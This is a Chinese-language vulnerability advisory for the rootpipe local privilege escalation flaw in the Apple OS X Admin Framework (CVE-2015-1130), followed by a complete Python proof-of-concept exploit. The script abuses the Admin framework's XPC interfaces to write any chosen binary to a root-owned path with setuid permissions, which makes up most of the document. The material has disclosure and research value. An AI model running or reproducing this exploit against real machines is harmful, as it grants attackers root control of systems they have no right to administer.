<p>漏洞名称:Apple OS X Admin Framework 安全漏洞<br></p><p>紧急程度:高危<br></p><p>漏洞类型: 本地提权<br></p><p>详细信息:</p><p>Apple OS X是美国苹果(Apple)公司为Mac计算机所开发的一套专用操作系统。</p><p>Apple OS X 10.10.2及之前版本的Admin Framework中的XPC实现过程中存在安全漏洞。本地攻击者可利用该漏洞绕过身份验证,获取管理员权限。</p><div><br></div>
########################################################
#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
def load_lib(append_path):
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
def use_old_api():
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
args = sys.argv
if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
sys.exit(-1)
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
if not os.path.exists(source_binary):
raise Exception("file does not exist!")
pool = NSAutoreleasePool.alloc().init()
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print "will write file", dest_binary
if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")
authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()
# authref with value nil is not accepted on OS X <= 10.8
authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print "Done!"
del pool